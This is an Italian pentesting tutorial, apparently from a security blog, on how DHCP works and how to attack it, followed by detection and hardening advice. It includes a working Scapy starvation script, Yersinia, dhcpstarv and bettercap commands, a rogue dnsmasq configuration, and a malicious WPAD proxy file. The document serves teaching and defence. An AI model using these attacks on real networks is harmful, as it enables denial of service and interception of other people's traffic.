networking

DHCP: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

DHCP: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

Scopri cos’è DHCP, come funziona il processo DORA e come sfruttarlo in un pentest: starvation, rogue DHCP server, WPAD injection, option 121 e difese reali.

  • Pubblicato il 2026-03-22
  • Tempo di lettura: 8 min

DHCP è il protocollo che assegna automaticamente gli indirizzi IP ai dispositivi della rete. Capire cos’è DHCP e come funziona il processo DORA è fondamentale per chi fa pentesting: DHCP starvation, rogue DHCP server, e option injection sono attacchi che permettono di prendere il controllo del traffico di un intero segmento senza toccare l’ARP table o i router.


Cos’è DHCP #

DHCP (Dynamic Host Configuration Protocol) è definito nell’RFC 2131 del 1997. È l’evoluzione di BOOTP e opera al livello applicativo sopra UDP: il client usa porta 68, il server porta 67.

DHCP automatizza la configurazione di rete degli host: invece di configurare manualmente IP, subnet mask, gateway, e DNS su ogni dispositivo, DHCP li distribuisce automaticamente a ogni host che si connette alla rete.

Informazioni distribuite da DHCP:

  • Indirizzo IP e subnet mask
  • Default gateway
  • Server DNS primario e secondario
  • Lease time (durata dell’assegnazione)
  • Domain name
  • Server NTP
  • Server WINS (legacy Windows)
  • Route statiche
  • Praticamente qualsiasi parametro di configurazione di rete (opzioni 1-255)

Come funziona DHCP #

Il processo DORA #

La sequenza di assegnazione di un indirizzo IP si chiama DORA: Discover, Offer, Request, Acknowledge.

text
Client                              Server(s)
  |                                    |
  |--- DHCP Discover (broadcast) ---> |  "C'è un server DHCP?"
  |    src: 0.0.0.0:68                |
  |    dst: 255.255.255.255:67        |
  |                                    |
  |<-- DHCP Offer --------------------|  "Ti offro questo IP"
  |    IP proposto + opzioni           |
  |                                    |
  |--- DHCP Request (broadcast) ----> |  "Accetto l'offerta del server X"
  |    Conferma l'IP proposto          |
  |                                    |
  |<-- DHCP Acknowledge --------------|  "Confermato, l'IP è tuo"
  |    Configurazione completa         |
  |                                    |
  |   === HOST CONFIGURATO ===        |

Il Request è ancora broadcast perché ci possono essere più server DHCP nel segmento: tutti vedono che il client ha scelto uno specifico server.

Lease Time e rinnovo #

Ogni assegnazione DHCP ha un lease time — la durata per cui l’IP è valido. Prima della scadenza, il client tenta di rinnovare il lease con un messaggio DHCP Request direttamente al server (unicast). Se il server non è disponibile, al 87.5% del lease il client tenta di ottenere un indirizzo da qualsiasi server disponibile.

Alla scadenza del lease senza rinnovo, il client perde l’indirizzo IP e deve ricominciare il processo DORA.

DHCP Options #

Le opzioni DHCP estendono il protocollo oltre la semplice assegnazione dell’IP. Ogni opzione ha un numero identificativo:

OpzioneNumeroContenuto
Subnet Mask1Maschera di sottorete
Router3Default gateway
DNS Server6Server DNS
Domain Name15Nome del dominio
Lease Time51Durata del lease
DHCP Server ID54IP del server DHCP
Renewal Time58T1 — tempo per il rinnovo
Rebinding Time59T2 — tempo per il rebinding
Classless Static Route121Route statiche (RFC 3442)
NTP Server42Server NTP
WPAD252Web Proxy Auto-Discovery

L’opzione 252 (WPAD) è particolarmente interessante per un pentester: distribuire un URL WPAD malevolo tramite DHCP può forzare tutti i client a usare un proxy controllato dall’attaccante per tutto il traffico web.

DHCPv6 #

IPv6 usa DHCPv6 (RFC 3315) per la configurazione stateful, ma supporta anche SLAAC (configurazione automatica senza server). DHCPv6 opera su UDP porta 546 (client) e 547 (server), usando multicast ff02::1:2.


Dove viene usato DHCP nelle reti #

DHCP è presente in qualsiasi rete moderna:

  • Reti enterprise: server DHCP centralizzati (Windows DHCP Server, ISC DHCP, dnsmasq) con scope per ogni VLAN
  • Reti SOHO: il router funge da server DHCP per la rete domestica
  • Datacenter e cloud: DHCP per la gestione automatica degli indirizzi delle VM
  • Wireless: ogni SSID tipicamente ha il proprio scope DHCP
  • Reti industriali: PLC e dispositivi embedded ricevono la configurazione da DHCP

Perché DHCP è importante in cybersecurity #

DHCP non ha autenticazione nativa. Chiunque nel segmento può rispondere a un Discover e offrire configurazione di rete arbitraria. Un rogue DHCP server che risponde prima di quello legittimo può:

  • Assegnare come gateway il proprio IP (MITM immediato su tutti i nuovi client)
  • Assegnare server DNS malevoli (DNS hijacking per tutti i nuovi client)
  • Distribuire WPAD URL malevoli (intercettazione traffico web)
  • Assegnare route statiche verso subnet interne attraverso il proprio IP

Tutto questo senza toccare ARP, senza bisogno di essere nel path del traffico esistente — solo aspettando che nuovi host si connettano.

Per il protocollo UDP su cui DHCP opera, vedi UDP. Per le implicazioni sulle VLAN, vedi VLAN e 802.1Q.


DHCP in un engagement di pentesting #

Reconnaissance: identificare il server DHCP #

In qualsiasi rete, il server DHCP è identificabile dal traffico che genera. In modo passivo:

bash
tcpdump -i eth0 -nn udp port 67 or udp port 68

In Wireshark:

text
bootp    # DHCP usa il protocollo BOOTP come base
dhcp

Il primo DHCP Acknowledge rivela l’IP del server DHCP (opzione 54), il gateway (opzione 3), i DNS (opzione 6), e il domain name (opzione 15) — informazioni essenziali per capire la struttura della rete.

Inviare DHCP Discover per mappare la rete #

bash
# nmap DHCP discovery
nmap -sU -p 67 --script dhcp-discover <broadcast_address>

# dhtest — client DHCP minimale per test
dhtest -i eth0

DHCP Starvation Attack #

L’attacco di starvation esaurisce il pool di indirizzi IP del server DHCP inviando richieste DHCP con MAC address sempre diversi. Quando il pool è esaurito, nessun nuovo client legittimo riesce ad ottenere un IP.

Con Yersinia:

bash
yersinia dhcp -attack 1 -interface eth0
# Attack 1: sending DISCOVER packet

Con dhcpstarv:

bash
dhcpstarv -i eth0

Con Scapy:

python
from scapy.all import *
import random

def mac_rand():
    return ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])

for _ in range(1000):
    mac = mac_rand()
    disc = (
        Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")), xid=random.randint(1, 0xFFFFFFFF)) /
        DHCP(options=[("message-type", "discover"), "end"])
    )
    sendp(disc, iface="eth0", verbose=0)

Rogue DHCP Server #

Dopo lo starvation (o indipendentemente, se i client accettano il server più veloce), configurare un server DHCP malevolo che distribuisce configurazione controllata dall’attaccante.

Con dnsmasq come rogue DHCP:

bash
# /etc/dnsmasq.conf (rogue)
interface=eth0
dhcp-range=192.168.1.100,192.168.1.200,12h
dhcp-option=3,192.168.1.50      # Gateway = attaccante
dhcp-option=6,192.168.1.50      # DNS = attaccante
dhcp-option=252,http://192.168.1.50/wpad.dat   # WPAD malevolo

dnsmasq --no-daemon

I client che ottengono configurazione dal rogue server invieranno tutto il traffico verso l’attaccante come gateway e useranno il suo DNS.

Con bettercap (integra starvation + rogue DHCP):

bash
bettercap -iface eth0
# Dentro bettercap:
dhcp.spoof on

WPAD Injection via DHCP #

L’opzione DHCP 252 distribuisce l’URL del file WPAD (Web Proxy Auto-Discovery). Se i client browser sono configurati per “rilevare automaticamente le impostazioni proxy”, useranno questo URL per trovare il proxy da usare.

Distribuire un WPAD malevolo fa sì che tutti i browser dei client utilizzino un proxy HTTP controllato dall’attaccante — intercettazione completa del traffico web, incluso HTTPS se si esegue SSL inspection.

bash
# wpad.dat malevolo
function FindProxyForURL(url, host) {
    return "PROXY 192.168.1.50:8080";
}

Post-Compromise: analisi della configurazione DHCP #

Su un host Windows o Linux compromesso, la configurazione DHCP ricevuta rivela informazioni sull’infrastruttura:

bash
# Linux
cat /var/lib/dhcp/dhclient.leases
ip route show

# Windows
ipconfig /all
# Mostra: DHCP Server, DNS Server, Gateway, Lease ottenuto/scadenza

Attacchi e abusi possibili su DHCP #

DHCP Starvation (DoS) #

Come descritto: esaurire il pool DHCP con MAC address falsi. I nuovi client non riescono ad ottenere indirizzi IP. I client già configurati con lease attivo non sono immediatamente colpiti.

Rogue DHCP Server (MITM) #

Come descritto: server DHCP malevolo che distribuisce configurazione controllata dall’attaccante. Effetto immediato sui nuovi client che si connettono.

WPAD Injection #

Distribuzione di WPAD malevolo tramite DHCP option 252. Intercettazione trasparente del traffico web di tutti i client che supportano WPAD auto-discovery.

Route Injection via Option 121 #

L’opzione DHCP 121 (Classless Static Routes) permette di distribuire route statiche ai client. Un server DHCP malevolo può iniettare route che portano traffico verso subnet specifiche attraverso l’attaccante.

Questa tecnica è alla base di un attacco documentato contro VPN: distribuire route statiche tramite DHCP che coprono gli stessi range IP della VPN, bypassando il tunnel VPN per quel traffico (CVE-2024-3661 / “TunnelVision”).

DHCPv6 Rogue Server #

In ambienti dual-stack, un rogue DHCPv6 server o Rogue Router Advertisement (vedi IPv4/IPv6) può configurare il gateway IPv6 dei client, ottenendo intercettazione del traffico IPv6 anche in reti dove il DHCP IPv4 è protetto.


Esempi pratici con DHCP in laboratorio #

Cattura completa del processo DORA con Wireshark #

text
bootp.option.type == 53   # Filtra per tipo di messaggio DHCP

Valori del tipo messaggio:

  • 1 = Discover
  • 2 = Offer
  • 3 = Request
  • 4 = Decline
  • 5 = ACK
  • 6 = NAK
  • 7 = Release
  • 8 = Inform

Analisi delle opzioni DHCP con tshark #

bash
tshark -i eth0 -Y "bootp" -T fields \
  -e ip.src \
  -e bootp.option.dhcp \
  -e bootp.option.router \
  -e bootp.option.domain_name_server \
  -e bootp.option.domain_name

Verifica del pool DHCP residuo #

Se si ottiene accesso a un server Windows DHCP post-compromise:

powershell
# PowerShell
Get-DhcpServerv4Scope
Get-DhcpServerv4ScopeStatistics
# Mostra: totale, usati, disponibili, percentuale utilizzo

Detection e difesa DHCP #

Un difensore che monitora il traffico DHCP può rilevare:

  • DHCP Offer da IP non autorizzati: qualsiasi server DHCP non in lista bianca è sospetto
  • DHCP Request verso server non autorizzati: i client che ottengono configurazione da server non approvati
  • Volume anomalo di DHCP Discover: possibile starvation in corso
  • MAC address con pattern casuali: indicatore di starvation con MAC spoofing
  • Pool DHCP in esaurimento rapido: alert quando la percentuale di utilizzo supera la soglia

Hardening e mitigazioni DHCP #

DHCP Snooping #

DHCP Snooping è la difesa principale contro rogue DHCP server. Configura lo switch per accettare DHCP Offer e Acknowledge solo dalle porte “trusted” (porte verso server DHCP legittimi o uplink). Le porte verso client sono “untrusted” e non possono inviare DHCP Offer:

text
! Cisco
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
!
interface GigabitEthernet1/0/24  ! Uplink verso server DHCP
 ip dhcp snooping trust
!
interface GigabitEthernet1/0/1   ! Porta client
 ip dhcp snooping limit rate 15  ! Max 15 pacchetti DHCP al secondo

DHCP Snooping costruisce anche una binding table IP/MAC/porta che viene usata da Dynamic ARP Inspection (DAI) per prevenire ARP spoofing.

Dynamic ARP Inspection (DAI) #

Usa la binding table di DHCP Snooping per validare i pacchetti ARP. Vedi ARP per i dettagli.

Disabilitare WPAD automatico sui client #

text
# Windows — Group Policy
Computer Configuration → Administrative Templates → Windows Components
→ Internet Explorer → Disable Automatic Discovery of Proxy Settings

# O via registry
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
AutoDetect = 0

Limitare le opzioni DHCP distribuite #

Non distribuire opzioni non necessarie. In particolare, non distribuire WPAD (opzione 252) a meno che non sia esplicitamente necessario.

Monitorare il lease database #

Configurare alerting su variazioni anomale nel lease database: molti indirizzi assegnati a MAC con pattern OUI sconosciuto o insolito può indicare starvation.


Errori comuni su DHCP #

“DHCP Snooping protegge da tutti gli attacchi DHCP” DHCP Snooping protegge dai rogue server sulle porte untrusted, ma non protegge da attacchi come WPAD injection se distribuita dal server legittimo compromesso, o da DHCPv6 su reti dual-stack senza DHCPv6 Guard.

“Lo starvation richiede accesso fisico” No. Con accesso logico alla rete (via VPN, porta Ethernet non autenticata, WiFi), lo starvation funziona ugualmente.

“I client già configurati sono immuni al rogue DHCP” Parzialmente vero per la durata del lease attuale. Ma alla scadenza, o dopo una disconnessione, il client farà una nuova richiesta DHCP e può ottenere configurazione dal rogue server.

“DHCP su reti enterprise è sempre sicuro” DHCP Snooping è spesso non configurato, specialmente su switch di accesso vecchi o su VLAN aggiunte dopo la configurazione iniziale. Verificare esplicitamente.


FAQ su DHCP #

Cos’è DHCP e come funziona? DHCP (Dynamic Host Configuration Protocol) automatizza l’assegnazione degli indirizzi IP e della configurazione di rete agli host. Il processo DORA (Discover, Offer, Request, Acknowledge) permette a un client di ottenere IP, gateway, DNS, e altre opzioni dal server DHCP del segmento.

Cos’è un rogue DHCP server? Un rogue DHCP server è un server DHCP non autorizzato nella rete che risponde alle richieste dei client prima di quello legittimo. Distribuendo configurazione malevola (gateway e DNS controllati dall’attaccante), ottiene intercettazione trasparente del traffico dei nuovi client.

Cos’è DHCP starvation? DHCP starvation è un attacco DoS che esaurisce il pool di indirizzi IP del server DHCP inviando richieste con MAC address sempre diversi. Quando il pool è pieno, nessun nuovo client legittimo può ottenere un indirizzo IP.

Come si protegge una rete da un rogue DHCP server? La difesa principale è DHCP Snooping: configura lo switch per accettare DHCP Offer solo dalle porte verso server autorizzati. Tutte le porte client sono untrusted e non possono inviare risposte DHCP.

Cos’è l’opzione DHCP 121 e perché è pericolosa? L’opzione 121 distribuisce route statiche ai client. Un server DHCP malevolo può iniettare route che redirigono il traffico verso subnet specifiche attraverso l’IP dell’attaccante — incluso il traffico che dovrebbe passare nel tunnel VPN (attacco TunnelVision).


Conclusione su DHCP #

DHCP è un protocollo apparentemente banale che in realtà controlla la configurazione di rete di ogni host che si connette. Rogue server, starvation, WPAD injection, route manipulation: sono attacchi che partono da DHCP e hanno impatto immediato sul traffico dell’intero segmento.

DHCP Snooping è la difesa principale ed è sorprendentemente spesso non configurata, anche in ambienti enterprise che si considerano sicuri.

In un engagement, analizzare il traffico DHCP per pochi secondi rivela l’IP del server DHCP, il gateway, i DNS, e il domain name — informazioni che accelerano enormemente la fase di reconnaissance interna.

Approfondisci i protocolli correlati:

Riferimento ufficiale: RFC 2131 — Dynamic Host Configuration Protocol


Un rogue DHCP server non rilevato in una rete enterprise è una finding critica che porta direttamente all’intercettazione del traffico. Scopri se la tua rete è esposta: hackita.it/servizi

Ogni articolo pubblicato è un contributo alla community. Se lo apprezzi: hackita.it/supporto

#dhcp-spoofing

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.